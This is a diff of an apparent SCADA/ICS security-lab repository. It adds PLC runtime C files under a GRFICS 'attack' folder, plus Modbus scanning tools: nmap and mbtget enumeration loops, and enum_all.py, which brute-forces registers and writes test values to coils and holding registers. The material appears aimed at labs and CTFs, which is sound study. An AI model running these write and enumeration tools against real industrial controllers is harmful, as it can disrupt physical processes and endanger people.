+#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + 